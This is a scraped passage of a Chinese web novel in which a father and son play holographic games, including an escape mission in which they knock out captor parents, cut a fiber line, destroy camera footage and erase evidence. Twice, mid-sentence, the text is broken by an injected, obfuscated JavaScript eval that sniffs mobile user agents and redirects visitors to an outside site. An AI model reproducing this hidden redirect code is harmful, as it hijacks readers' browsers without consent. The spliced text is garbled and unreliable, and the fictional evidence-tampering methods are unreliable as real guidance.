秦政几口吃完石榴就去拿扶苏手里没剥完的,要帮儿子剥。扶苏躲开了,还说自己都放出话要照顾阿父,怎么能立刻就打脸。 秦政便收回手: “也好,那父亲就成全你一片孝心。就是不知道这片孝心还能持续多久,可别明日早上又要我照顾你起床。 扶苏起床是个困难户。 以前扶苏年纪还小的时候,机器人会强行把他抱起来,给他刷牙洗脸喂饭,送到学校去。这样扶苏可以一直迷迷糊糊睡到学校,甚至被送到座位上。 同学们因此一直以为扶苏是个身体孱弱的玻璃人,不敢跟他大小声,生怕一不小心把人弄死了。 扶苏很享受这个状态。 然后他就愣是装了十几年,从小学装到大学,借此规避了这些年的一切体育运动。每每有个跑一千米的体测,全班都会劝体育老师三思,不要跑出人命来,军训当然也就没他什么事了。 老师们也被搞得摸不着头脑,明明孩子的病历里没有这方面的问题。但看他虚弱苍白的模样又不像装的,到底是不敢冒险,万一小孩有什么先天疾病呢。 那健健康康的人突然猝死的也不是没有过。 起初秦政是不知道的。 后来听说这件事的时候,扶苏已经装到二年级了。面对可怜巴巴看着自己的小混蛋,又实在不忍心去同学老师那边戳穿他。 毕竟秦政一直不是什么有原则的人。 所以最后秦政就让机器人记录下扶苏逃掉的那些体育运动和军训,等扶苏双休回家或者节假日的时候,让小青压着他在小区里的体育场上补回来。 军训倒是没在小区里补,暑假直接送军营去了。 因为扶苏不 太爱出门,同学们约他是约不出来的,只能偶尔来家里做客。时间长了,寒暑假总是见不到扶苏,大家就更加坚信他是身体不好需要静养。 谣言一直流传到了扶苏的初中。 初中其实已经不方便每天让机器人抱去班上了,送到校门口就会回来。但架不住同校有扶苏之前的校友,消息传得沸沸扬扬,连高中大学都人尽皆知。 体弱多病、母亲早亡、父亲忙碌、只有机器人保姆照顾、放假只能待在家里玩全息游戏根本不能出门,听起来就很惨。 可惜也就骗骗外人。 现在扶苏起床依然是老大难,这几天秦政会把他拎起来,带他去洗个脸醒醒神。看在父亲的面子上,扶苏便也没有耍赖不肯。 听到对方提起这件事,扶苏小声狡辩了一句: “那中年人也有赖床的。” 秦政反问: “中年人需要亲爹把他们从床上拖起来吗?” 扶苏就闭嘴了。 父子俩都没再聊游戏的事情。 秦政想起今天还没看自己订阅的电子报纸,顺手打开了报纸。 早上本来想吃早餐的时候顺便看一看的,但想起来儿子还在身边,就忍住了。做父亲的需要以身作则,既然不让孩子边吃饭边玩个人终端,那他自然也不能做这样的事情。 哪怕扶苏是在玩,他是正经看新闻。 报纸一点开,发现最新消息是和游戏相关的。 头版头条没报什么国家大事,反而报导了好几家游戏公司对外透露自己家的游戏即将上线新版本。估计是看昨天《妖魔》出大变故了,趁着热度宣传一下自家的游戏,顺便踩一脚《妖魔》。 这可真是朴实无华的商战手法。 秦政问儿子: “你九月份一直在玩的那款游戏,看起来不错,是怎么玩的?” 扶苏正一颗一颗小松鼠吃松子似的捡石榴吃,闻言抬头: “你说那个逃脱类的游戏?它里头有密室逃脱、灾难逃脱等各种情况,挺有意思的。” 说着去翻自己保存的游戏记录。 秦政看他吃石榴的模样,忽然有点想吃松子了。 说起来扶苏也挺爱吃松子的,而且松子是扶苏唯一不会懒得剥的坚果类型了 第 240 章 古代丧尸来袭 第240章古代丧尸来袭 父子二人光顾着商量逃跑,完全忘了还要上网课的事情。好在网课这种东西不点名就不要紧,点名没答应也顶多是被老师批评一顿。 扶苏立刻跑去书桌前,面对老师的法语问题,表示了不知道。 谁会这种小语种啊,他才不学! 屏幕里的老师皱了皱眉,没有多说什么。但是扭头就给妈妈发了消息,告诉她小孩不好好听课的事情。 秦政早有预料地去了卫生间,关闭电子书上的监控覆盖。卫生间没有监控,而外头则传来妈妈通过监控训斥扶苏不好好学习的声音。 秦政由此确定,妈妈之前没在看监控,估计是忙于工作。 因为监控切换之前哥哥的身影是在卧室的,现在监控里没有了哥哥。但凡妈妈在看监控,应该会发现不对劲。 要知道卧室的监控多达五个,五个监控同时出现大变活人的戏码,再怎么分屏太多看不过来,也不至于毫无察觉。 或许可以搞清楚爸爸妈妈什么时间段是绝对没空看监控的。 秦政拿出手机给卖消息的人转账。 扶苏糊弄了那边的老师一会儿,很快就没忍住蠢蠢欲动的手,自己写了一段代码代替自己忽悠老师。 秦政重新打开监控替换,走过来查看情况,就看见他在干这个。 秦政:“……那你为什么不自己去查哥哥的身份信息?” 扶苏叹气: “我之前在类似的副本里试过,根本查不到。” 毕竟这只是一个副本,不是真实世界。有些信息实际上网上是无法获取的,只有目标NPC手里能有,然后以“我帮你调查到”这个方式送到玩家手里。 说到底就是一个固定剧情。 像这次的这个,哪怕扶苏要追去翻目标黑客的电脑,也没用。在花钱触发下一段剧情前,黑客的电脑里也不会出现相关内容。 真要追着去强行获取也不是不行,但那样一来就不是从黑客手里拿了,而是从游戏官方的资料库里获取。 为了通关入侵游戏的资料库,属实是有些没必要。 而给黑客交了钱,资料就会发过来,也就没了再去入侵黑客电脑的必要 。 秦政大概明白了: “那接下来就是等待。 等黑客把资料送来之后,他们才能基于资料,制定接下来的行动方针。 资料还没发来,中午妈妈先回家了。 她一回来就怒气冲冲地将饭盒丢到餐桌上,把扶苏拎过去训斥了一顿。还是为了上午不好好上课的事情,张口闭口就是“妈妈是为了你好。 非常经典的中式教育。 秦政皱着眉走过去,在思考非得这么被动逃跑吗?就这种的家长,不能给她捆了,控制起来? 妈妈看秦政过来,让他去准备碗筷。 秦政没有动。 父子俩对视一眼,瞬间明白了彼此的意图。 妈妈见秦政居然不动,立刻皱眉: “小御,你今天很不乖,你怎—— 话音戛然而止。 在军营里待过的扶苏学了不少本事,趁其不备直接蹿上凳子,借着它的高度够到了妈妈的脖颈,一招劈晕。 扶苏长出一口气: “受害人完美逃脱拿到评分的时候确实很爽,但是需要忍辱负重完成任务就不太开心了,果然还是正面对付加害者更叫人高兴一点。 秦政戴上手套,去取了绳子来把妈妈捆住,丢进卧室。 监控的替换还没关闭,所以这一幕并没有被拍摄保存下来。秦政直接去剪了家里的光纤,从户外剪的。 家里的摄像头什么的,都是连接的家中WiFi,而WiFi则是连的光纤。光纤从室外接入,从走廊里就能直接剪掉,挑个监控拍不到的位置剪就行。 剪断光纤后,再进屋剪掉摄像头的线并将摄像头的内置存储芯片取下来毁掉。因为事情发生在前后脚,事后鉴定也难以判断打晕人和破坏摄像头的先后顺序。 按照正常的逻辑,显然是嫌疑人先为保万一剪断网线,然后进屋袭击了受害人妈妈,再把监控破坏掉。 那么嫌疑人是什么时候进入家门的? 根据已经上传到云端的监控记录可以看出来,刚开始一切都很正常。妈妈也没回家,两个孩子在做自己的事情,突然监控就没了。 很有可能是嫌疑人早就盯上了这家,计算好妈妈回家的时间,提前一两分钟剪掉了网 线并躲进楼梯间。 ——因为妈妈有随时查看监控的习惯剪得太早容易被发现。 等妈妈开门进入的时候从背后袭击了她顺便一起进屋。事后打扫了门口的痕迹翻找财物最后带走了两个孩子。 父子俩对了一下口供。 感觉逻辑上没有太大的问题。 如果马上能拿到资料离开的话就可以赶在晚高峰的时候走。那时候天色已晚监控会拍得更不清晰。 然而资料迟迟没有发来除非他们先不管不顾出去等确定应该逃往哪个方向再中途改变目的地。 可是别忘了家里还有个爸爸。 秦政认为要把爸爸一起捆了不然他一回家就会发现不对。到时候直接通知公安他们不一定能及时跑掉。 扶苏点头: “那就再等等。” 闲的没事干的父子俩干脆在家里大扫除清理一些脚印等痕迹。毕竟家里没有第五个人在场的迹象地上脚印又杂乱就会显得很不对劲。 但是如果脚印全都消失了那就是嫌疑人清理了自身痕迹看不出来家里曾经多一个人很正常。 做得越多越容易暴露所以两人只是单纯的清理各种痕迹没有画蛇添足地增加第五人在家里待过的迹象。 打晕妈妈的是扶苏公安一般不太可能猜到会是他动的手。不往孩子身上猜那就只能陷入第五人到底是谁的死循环里出不来。 妈妈醒了也没用她是面对着秦政、背对着扶苏的情况下被击晕的。她估计自己也会猜测是不是有人提前藏在了家里趁着她不注意跑出来攻击她。 扶苏等下午的网课上完就回去把自己编写程序的痕迹清理掉可不能让人知道家里的孩子懂这种黑客技术。 桌上的午饭被吃完并清洗干净确认饭盒上没有残留痕迹之后随手放到一边。 不能收起来外头的监控拍到过妈妈带饭盒回家 扶苏还回忆着家里四个人的习惯将水龙头故意掰到几人都用不习惯的角度避免通过这些细节暴露洗碗的人是谁。 秦政用面部解锁打开了妈妈的手机。 她给妈妈的领导发了消息请 了几天的假说家里小孩有点事。 领导估计也知道她平时是个什么作风 父子俩忙忙碌碌一下午。 扶苏叹气: “玩这个可比玩其他什么费劲多了。” 人只要活着就会留下痕迹想要完全清除并不容易。而且很多痕迹都是自己想不到的点一不小心就露馅了。 秦政坐在沙发上刷手机: “我们两个似乎是受害人视角吧?” 扶苏点头。 秦政反问他: “那为什么干的好像是嫌疑人在干的事情?” 扶苏陷入了沉默。 好问题。 所以说小孩子想要不被锁定地逃离家庭实在是太难了他们为了避免被迅速发现是自己要离家出走也避免离开后没多久又被带回家付出太多了。 扶苏改变了思维: “其实不做这些也是有解题思路的。” 比如说做出小孩子实在不堪忍受离家出走的模样一路跑出监控范围然后莫名其妙消失了。 秦政反问: “找到哥哥的真正家人之后呢?” 黑户打算怎么生活? 扶苏眨了眨眼: “这个我就不管了反正任务只要求我们逃走。” 激进派玩家估计会直接干掉NPC父母这样就是变相逃离原生家庭。但这么做任务评分估计不会高毕竟他们目前罪不至死。 既然是组队通关那大概率两人一起结伴逃到哥哥真正的家中就能算是任务通关了。至于接下来要怎么顺利生活下去这不是本次副本要考验的内容。 秦政明悟: “这款游戏原来是这样的通关规则?” 它本质还是个游戏副本。 一直到华灯初上终于等到了父子俩想要的消息。 根据黑客的调查结果夫妻俩是从人贩子手里买到的哥哥。因为一直没有孩子就想收养一个男孩。 但是故事很老套哥哥到家后没两年妈妈怀孕了生下了弟弟于是哥哥就没了用处。 扶苏搜了一下量刑标准: “这个罪名的判 刑在三年以下,而且没有虐待孩童的话可能会判缓。” 缓刑的话表现良好就不用坐牢,只是留个案底而已。 如果想要打出完美成就,可能需要把养父母送进去。这样一来弟弟就没了监护人,不用被送回这对父母手里。 扶苏从哥哥的日记和自己的记忆里得知爸爸是会家暴的,而且一般只打哥哥,恰好符合虐待孩童的要求。 当然,法院也很有可能考虑到夫妻俩还要照顾弟弟这个孩子,决定判缓。其中没动手家暴的妈妈,判缓的概率较大。 秦政若有所思: “得找个法子加重两人的刑期。” 数罪并罚的话,判缓的概率就比较小了。这对夫妻敢买孩子,很可能还做过别的事情。 两人立刻开始行动。 一人翻看妈妈的手机,一人去翻找卧室里的抽屉柜子。妈妈带回来了钥匙,可以尝试打开一些上锁的抽屉了。 扶苏之前就给妈妈蒙上了眼罩、堵上了嘴巴,就不再管她。父子二人也不在她面前交谈,也不露出身形长相,避免暴露身份。 谁知道妈妈什么时候就会醒来,老守着她把她打晕也麻烦。 秦政搜出来一些管制药物,扶苏则在妈妈的手机里找到了她从医院偷偷拿药出去卖的证据。 两人躲在次卧里小声讨论。 扶苏感慨: “其实在知道她的工作地点是医院的时候,我就该有这方面猜测了。” 还是私立医院,估计动手脚更容易。 毕竟私立医院的规章管理不一定有公立医院那么完善和严格,说不定院长都在带头搞违法操作。 同理,在外头给企业当顾问的教授爸爸,恐怕也有其他的把柄可以抓到。 防盗门处传来动静。 爸爸回家了。 爸爸没有查看监控的习惯,所以他至今不知道家里出了事。不然至少得打电话问问妈妈,家里的监控是不是坏了。 一进门,就是一股酒味。 喝得半醉的爸爸也不知道是怎么回的家,是酒驾还是找了代驾。但他明显观察力下降了,完全没发现家里有什么异常情况。 平时这个点妈妈肯定是在客厅的,今天却不在。 爸爸松了松领带 : “人呢?都到哪里去了?” 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节) 没有人回答。 爸爸疑惑地在四处转了转,走进主卧看到被绑起来的妈妈。他顿时一惊,吓得酒都醒了大半。 可惜现在酒醒已经迟了,秦政从后方出手,直接将他打晕。很快夫妻俩就躺一块儿了,以同款姿势。 这次拿走了爸爸的手机,同样面部解锁打开。在里面收集到了足够的证据后,两人决定收拾收拾提前离开。 以防万一,不能留在家里休息。 谁知道夜里会发生什么,万一副本非要给他们提高难度,让两人解绑出来闹事呢。 永远不要高估策划的下限。 不过走之前还得最后收拾一下现场,顺便解决掉账户的问题。扶苏清理掉了一切记录,将账户里的余额匿名捐赠掉,剩下的就没管。 游戏会引导玩家使用这个账号,大概率是不会让NPC们通过它的转账记录追查玩家的。毕竟玩家又没办法清理记录,不是人人都懂黑客技术。 而且世界上没有完美犯罪,也不可能完全不露马脚。只要不影响通关评分,他们也就懒得管了。 扶苏把格式化的手机放杂物间。 这个点不是下班高峰,但是附近有个小黑旅馆,父子俩在踩点的时候看过了。 他们准备在那里休息一晚。 晚上更容易避开摄像头,专挑黑暗的地方走,身影很难被拍到。 父子俩很快就抵达了目的地。 中途还把一些从家里带出来需要销毁的手套等物丢进了垃圾桶,明天凌晨这些就会被垃圾车带走清理掉。 秦政戴着口罩去黑旅馆订了房间,这边都是没监控的。 因为戴的是扶苏买的医用口罩,秦政又故意咳嗽了两下,看起来就像是正常客人,只是感冒了才会戴口罩。 至于为什么住小黑旅馆,图便宜呗。 秦政穿上了之前捡到的那件外套,故意弄得皱巴巴的,还带了点灰尘,瞧着十分落魄。 等前台一走,扶苏才悄悄摸了进来,他个头小很难被发现。 两人住到早上正常退房,没有任何奇怪的举动。出门直接往公交车站走,趁着早高峰挤上公交。 父子俩出门前换上了新买的鞋子,不然 鞋柜里少了两双出门的鞋一看就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509692|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对劲像是孩子自己出去的。 拖鞋则被散乱地丢在玄关假装孩子是被挟制带走时蹬掉了拖鞋。 坐公交的期间他们换乘了多站。而后才去找了一个老太太摆的摊子在她这里买了两身款式落后的衣服。 换上新衣服后把旧的扔垃圾桶处理掉这些衣服不是什么独特的衣裳就是普通能买到的爆款童装并不起眼。 做完这些 黑客其实并没有给出哥哥的身份信息。 他只能查到哥哥是被拐的但具体是谁家的孩子人贩子没有被端掉他也不清楚。 但是网上可以查到一些丢失孩童走失的信息父子俩压根就是一夜没睡一直在排查到底是哪家最有可能。 最后他们从中锁定了一家决定过去那边看看。 秦政找到了一辆停靠在路边的黑车: “三百块去安城。” 司机立刻答应: “可以!” 这年头黑车其实还有但是在大城市的市中心很难见到。可是一旦去市郊偏僻的区域或者十八线小县城还是能轻松找到的。 父子俩找到的地方有一排车停着他们观察过后才挑了个看起来比较正派的人搭话。 找黑车司机是因为对方不会多嘴问两个少年和儿童怎么独自出来正规司机可能会多留心一下会很麻烦。 但是搭黑车是一件很有风险的事情包括住小黑旅馆。 策划不可能不在这里挖坑估计90%的黑车司机都会坑玩家一把要在里头精准分别谁是好人并不容易。 父子俩也就是仗着自己看人准了。 没事千万别学。 扶苏不太确定等抵达目标家庭后是不是就会直接判断任务结束所以他提前把收集到的违法证据放到了邮件和一些软件的草稿箱里选择了定时发送。 他们俩是不可能自己去报公安的了只能看副本会不会认可这样的操作能够达成判刑的目标。 其实直接带着证据报警也是一条通关思路但两人都提前做了那么多准备了也就懒得走这条简单路线。到时候还要和公安掰扯怎么把 人打晕绑起来的事情,很麻烦。 几个小时后,车子停在了某个小区外。 随着父子俩下车走向一对神色憔悴的夫妻,副本弹出了通关结算。 一个金闪闪的S+跳了出来。 扶苏惊讶: “原来S之上还有S+的等级吗?!” 他一直以为S是最高级,亏他还炫耀了好久呢。 扶苏立刻截图发朋友圈。 秦政则看了一眼时间: “天黑了,下线吃饭。” 游戏里虽然过去了几十个小时,游戏外却只是一个下午而已。扶苏嘴上说着马上就好,磨磨蹭蹭编辑了几条内容,这才下线。 秦政点开一看—— 「爸爸百忙之中陪我玩游戏(图片)(图片)(图片)」 秦政在想,他怎么就“百忙之中”了。 合着秦扶苏平时都是这么夸大事实的是吧? 吃晚饭的时候,秦政把儿子之前的朋友圈都翻了出来。以前都是草草看一眼,不太仔细,只大致知道写了什么。 现在重温才发现,上午给儿子剥了几粒松子,这家伙就抽空发了条消息说父亲亲手给他剥了好多松子。 再往前,拎他起床,被他说成哄他起床吃早餐。如果他不起来,就会把早餐拿来房里陪他吃。 秦政回忆了一下自己的原话。 他当时说的好像是: “秦扶苏,你是想在床上吃饭是吧?赶紧给我起来,别让我再说一遍。” 秦政:…… 好一个春秋笔法。 最离谱的是下头的回复。 扶苏那些好友全在夸秦叔叔好温柔,秦叔叔还是一如既往的开明,我爸爸要是有秦叔叔一半好说话就好了。 秦政点点桌面: “秦扶苏,我怎么觉得你不怀好意?” 这算不算故意把他架起来,让他为了别人的吹捧不断往好爸爸的方向靠? 扶苏装作没听懂: “啊?阿父你在说什么?” 秦政就确定了: “你果然是故意的。” 既然都被拆穿了,那扶苏干脆就承认了。但他绝不认自己不怀好意,想让阿父对他更好一点,怎么能算不怀好意呢! 秦政不和他掰扯这个: “也罢,左右你做的这些小动作,也影响不到我。” 臭小子还想套路亲爹?想得倒是挺美的,这手段都是当爹的用腻了的,梦里想想吧。 吃完晚饭,扶苏还想上线玩一会儿。 可惜秦政没同意: “你玩一局就要半天,不睡觉了?” 这款游戏又不像《妖魔》一样能代替睡眠,而且秦政不太乐意让儿子熬夜。哪怕是《妖魔》那种,他也觉得直接睡足八小时更好一些。 扶苏看了一眼时间: “现在才七点多。” 秦政递给他一本书: “那你就看一会儿书,然后再去睡觉。” 扶苏接过来翻开,发现是一本写国际经融的。想拒绝的话就吞了回去,乖乖翻开慢慢看起来。 这一看就入了迷,直到父亲喊他去睡觉才惊觉已经十点。 秦政收走了那本书,防止某人回房后不睡觉又接着看。盯着他洗漱躺下,这才离开。 扶苏感觉父亲把他当小孩子了。 该不会是以前错过了一回,现在想补回来吧? 扶苏翻了个身,脑子里转着各种念头,不知不觉就睡着了。 鹅小说更新,记住域名qiexsΘ(请来企 鹅小说 看最新章节 完整章节) 一觉醒来,已经忘了昨天晚上思考过什么。老老实实起床吃饭,老老实实跟着父亲出门晨练。 路过小区广场时,又碰见了郑大爷。 郑大爷正和一群大爷大妈站在一块儿练操,太极拳打得很有气势。边打还边聊天,聊的就是游戏的事情。 他们这些赶时髦的老人家也去玩了妖魔游戏,但是玩不太明白。 这群人都八十多快九十了,往前数二十年前那会儿都有六七十岁。他们是真的不怎么爱玩《妖魔》那种大型网游,反应速度也跟不太上。 扶苏就听见郑大爷中气十足地说: “天天都是打打杀杀的,没什么意思。我现在啊,就是上线去睡觉的。” 扶苏跑步的速度不知不觉慢了下来,想听听他们这些老人家是怎么玩的。 秦政听见身后没动静了,一回头果然儿子又掉队了。走回来把人叫上,正准备接着跑,一群早睡早起的小孩已经跑来围住了扶苏。 “苏苏哥哥!苏苏哥哥!” 第 241 章 嬴政模拟器 第241章嬴政模拟器 扶苏跟着父亲出去玩了几个月。 再次回到家中的时候,已经差不多把之前的游戏给忘了。 不过得知他回来的朋友们发了不少消息过来问他什么时候上线一起玩。扶苏就打开了网页 几个月过去,各大游戏厂商也推出了最新版本的游戏。现在已经不是《妖魔》一家独大了不过《妖魔》的日活跃人数依然巨大。 因为在这里睡觉的人不少。 好多人不爱玩游戏也懒得更换游戏类型。反正去哪里睡不是睡呢干脆就留在《妖魔》了。 然而这部分日活跃人数是不会给游戏公司创造任何收益的所以游戏公司干脆用了最原始的方式赚他们的钱,就是接开屏广告。 广告只要浏览量别的都不重要。 不过一款游戏居然接开屏广告,这件事已经足够同行们笑话很多年了。《妖魔》倒是豁得出去,赚钱嘛,不磕碜。 最近游戏公司有开发新业务的迹象他们觉得光是开屏广告还是太浪费这么多人流量了,打算在这方面深耕。 为此,公司跑去申请了其他方面的经营资质避免会被同行举报非法经营。毕竟这是个游戏公司只有游戏相关的经营许可,搞七搞八容易犯法。 扶苏很好奇他们想赚什么钱。 朋友打来视频: “我也是听小道消息的就我们圈子里有和《妖魔》那边合作的公司。” 扶苏表示了解。 朋友接着说: “现在那边就是想和各大平台做那种合作,让人可以在游戏里登陆游戏外的网络。” 扶苏嫌弃了一下他的表达能力: “你这么说谁听得懂?就是说让人在游戏里不仅可以登陆游戏论坛还能登陆其他的论坛或者其他的软件平台是吧?” 朋友连连点头: “对对对!就是这个意思!” 以前处在游戏状态的时候顶多进入内置论坛聊天,是不能去外部论坛晃悠的。这一方面是去外头晃悠需要一个外部网站的链接授权,另一方面也是想维持自家游戏的论坛活跃度。 更别提登陆 上去之后打开外部APP刷刷短视频什么的。要刷短视频就下线后随便刷,不然打团的时候你跑去刷短视频了,不是坑队友么? 但现在《妖魔》有很多不玩游戏的活跃人群,这些人就可以在脱战状态放任他们在安全区里刷短视频。 扶苏就问了: “人家为什么非要登录上来刷短视频呢?直接在个人空间刷不是更方便?” 朋友觉得不是这个道理: “你想啊在游戏里刷就相当于线下聚会了。大家可以去酒楼点个包间坐在一起刷视频聊天还能品尝一下游戏里的美食。” 秦政在儿子身边坐下: “《妖魔》想两头赚钱?” 朋友立刻坐直身体: “叔叔好!” 秦政颔首示意。 朋友虚心求教: “什么叫两头赚钱啊?” 秦政没有回答扶苏答了: “就是赚平台和使用者两边的钱啊。” 一边是各平台入驻游戏的时候要交的入驻费另一方面是玩家在游戏里的消费时充值的代币。 这个思路其实是对的。 虽说大家也能去别人的全息空间聚会但那是不一样的。 全息空间是个独立的次元空间只能花钱布置成自己想要的模样。不方便随便改动体验不了太多不同的风格。 游戏里则是各种场景应有尽有酒楼聚会、畅游花海、逛街嬉闹这些都能满足。而且在游戏里还能品尝美食却不用担心发胖全息空间可没这些。 秦政一直觉得《妖魔》可以走旅游路线 扶苏笑道: “那就成旅游游戏啦!” 秦政微微扬眉: “最开始就应该做成休闲游戏旅游搭配一些简单的小游戏这样才是全年龄向的。” 朋友一拍大腿: “秦叔叔!还是你最聪明!他们确实有这个意向!您不知道这几个月妖魔出了很多内置小游戏呢!” 扶苏:…… 扶苏有些一言难尽: “内置小游戏好像是以前经常出现在个人终端的小程序游戏里搞诈骗的吧?” 就比如铺天盖地的广告跟你说这款游戏的玩法是跑酷,考验你加减乘除运算的,往左跑队伍人数加5,往右跑队伍人数减3,最后要挑战大boss。 视频里的操作还特别拉,每次都往错误的地方跑,把人气得血压升高,恨不得自己打开游戏替他跑一局。 结果点进去一看,根本不是这个玩法。 要么游戏达到一定关卡才能解锁这种玩法,还只能玩一两局。要么就是点开设置进去找,同样只能玩一两局。 总之就是一个诈骗。 朋友赶紧摆手: “不是那种,是休闲小游戏。玩家挂机或者无脑刷怪的时候,可以顺手玩两局的,是各种经典游戏。 说着发来一张图片。 确实是经典游戏,有各种键盘版本的纸牌游戏,也有全息版本的趣味小游戏。 秦政扫了一眼: “这些都可以在旅游服里配置,不过最好弄成全息玩法。既然要锻炼精神力,那就贯彻到底。 朋友挠挠头: “纸牌这怎么弄成全息? 扶苏从茶几上拿出一副纸牌,打开洗了个牌,让父亲抽一张。 而后看向视频: “就这么弄,懂了吗? 朋友懵逼地摇头。 扶苏嫌弃他傻: “现实中怎么打牌的,游戏里就怎么打。全息里所有的精细操作都能锻炼玩家精神力,发牌洗牌抽牌这些,虽然不如其他的细致,也是一种锻炼。 朋友终于懂了: “原来如此! 他说着就兴致勃勃地要去给《妖魔》的制作公司提建议。正好他有朋友家里和对方做生意,应该能要到联系方式。 但是联系方式要来了之后。 朋友猛然反应过来: “我为什么要无偿给《妖魔》提建议啊?! 又非亲非故的,即便玩这款游戏玩得还挺开心的吧,可他也不是那种真爱型的玩家呀。 扶苏却问他要走了联系方式: “我这边还有点想法。 朋友惊讶不已: “扶苏,你居然是这么善良的人?我以前怎么没看出来? 扶苏::) 扶苏冷笑着 挂断了这家伙的通话。 不过朋友说的也没错,扶苏确实不是这样大方无私的人。他联络游戏公司当然不是去帮忙出主意的,他有别的目的。 三人刚刚聊的这么点东西,压根用不着特意去和游戏公司说。这个程度的主意游戏公司内部自己就能提出来,哪里需要他来开口。 《妖魔》的策划又不是吃白饭的。 扶苏主要提醒的是: “全息类棋牌游戏加入之后,警惕网络赌博。” 或许游戏公司提前就会想到这一点,可也不能不警惕他们万一就是没想到呢?或者,想到了也为了利益不管不顾。 在全息世界打牌,一不小心就容易涉赌。 在个人空间玩也就算了,他们自己相互转账,碍不着别人。顶多网警有可能会查到转账记录,将人抓捕归案。 在游戏里打,就会连累游戏公司。这个操作起来还更方便,充值游戏币,然后就可以拿着实物版的游戏币当筹码玩了。 游戏公司怎么样无所谓,就怕公司因此被查封后,游戏会开不下去。那么多玩家养自己的账号投入了大量心血,突然关服,玩家才是赔得血本无归的那个。 所以这些公司最好遵纪守法一点。 秦政看了眼游戏公司的回复: “那些人要是用游戏币来涉赌,打完牌自然还会把游戏币再提现回去。游戏公司一分钱好处费赚不到,所以如果公司对这笔资金心动,就会巧立名目收额外的费用。” 比如提供场所的包厢费这些。 普通包厢利润太低,或许会给出高价包厢,打出“隐私保护”的旗号。 不过这个钱赚起来费劲又容易翻车,他们应该不会这么短视。甚至还会增加这方面的报警程序,一旦检测到有人干这种事情,立刻通知网警。 扶苏点头赞同: “要是等网警自己查出来,哪怕游戏公司没有参与其中,只是正常被人租赁了包厢打牌,也会承担相应的刑事责任。” 你游戏公司说自己不知情,法官检察官不一定信。事实就是你收钱给他们提供场所了,而且这种包厢又不是私密度那么高的酒店房间,里头是要设立监控的。 另一个朋友恰好在这个时候打视讯过来问扶苏什么时候上线 一起玩游戏。 扶苏就说他在研究刑法。 朋友:??? 朋友问他研究这个干什么,扶苏便说起了游戏的事情。 朋友万分无语: “秦扶苏你想得可真远啊,不知道的还以为你这几个月不是去旅游而是去准备法考了呢。 秦政忽然说: “当个法官也不错。 扶苏扭头看阿父: “不了,我还是在家里蹲吧。 他要当一个快乐的啃老族。 朋友乐了: “秦叔叔你好幽默,对了叔叔你要一起来玩吗?现在好些区合服了,我记得你们之前是在九区的对吧?九区和我的区合在一起了,我们可以一起玩,我带你们升级啊! 扶苏想起来: “我们好像才十级? 之前还跟代练工作室约以后再雇他们呢,结果几个月没上线。 秦政低声提醒他: “你当时没有答应,只说‘再说吧’。 扶苏立刻改口: “那我还挺机智的,知道给自己留个余地,不给人落下什么话柄。 虽然这件事里也没什么话柄可落。 扶苏问过父亲的意见后答应了朋友的邀请,很快登录游戏。 朋友穿着现阶段的满级装备,嘚瑟地出现在了新手村附近。看起来特别有钱,装备自带着华贵的光彩。 就是有点不够奢华,符合网游审美。 扶苏看他像开屏孔雀似的,就扭头对父亲说: “我们还是找工作室代练吧? 朋友不高兴: “别啊,我来带,我保证要不了两天就能给你们带到满级。 秦政已经联络过了工作室: “工作室那边说十小时就可以刷满等级了。 朋友:…… 比不过,这个真的比不过。 工作室长期承接这类业务,拥有一套完善的升级流程。除了刷怪之外,他们还会提供各种辅助类的道具。 比如双倍经验卡,高经验怪的坐标,可以重复提交的特殊经验任务等等。有些东西游戏论坛里可以搜到,但想要做到工作室那么高效,就不太容易了。 朋友含恨离开: “那等你们满级了我再来找你们。” 工作室那头还以为两位老板弃游了没想到几个月后还能见到。匆匆赶来汇合二话不说就带他们去了附近合适的刷怪点。 超过当前等级五级的话刷怪拿到的经验没有加成。而超过十级就彻底没有经验值拿了所以不能直接带小号去刷满级怪一口气升N级。 不过问题不大 之前刷怪的时候扶苏除了看论坛没什么别的事情能做这回能做的就多了。 《妖魔》内置的小游戏不少客服小姐姐还询问要不要陪他们玩斗地主。正好三个闲着的玩斗地主或者三人麻将这些都很方便。 扶苏:…… 扶苏谢过了她的好意: “不用了。” 然后扶苏和父亲玩起了双人扑克选择难度很高的类型。玩得客服根本看不懂这是怎么弄的感觉智商遭到了碾压。 扑克玩腻了两人又换了别的博弈类游戏。围棋军棋象棋这些下棋和厮杀也差不多了。 客服小姐姐默默走到了一边。 算了她还是不去找虐了老板不带她玩是为了她好。 十个小时下来除了偶尔需要父子俩亲自操作交任务或者跟随一起转移阵地之外其他的都不用他们操心。 因为老板安安静静不搞事提前了半个多小时就完成了本次交易这里头还包括了中午下线吃饭花费的时间。 父子俩的账号已经达到了当前阶段的满级短期内游戏公司应该不会提升等级上限。 客服总有一种这次交易之后老板们又要长期不在线的错觉。 她依依不舍地问道: “老板还有别的需求吗?” 扶苏正要说没有。 秦政却道: “我听说可以包团下副本?” 他们满级是满级了装备还是白板。 客服秒懂: “老板要刷神装吗?大部分装备其实可以直接买现成的只有神装才需要去顶级副本里刷但是掉落率不好说。” 秦政看向儿子: “想要吗?” 大有儿子如果想要,他就砸钱给儿子包团弄一身的架势。 扶苏没着急回答,先戳了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509693|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 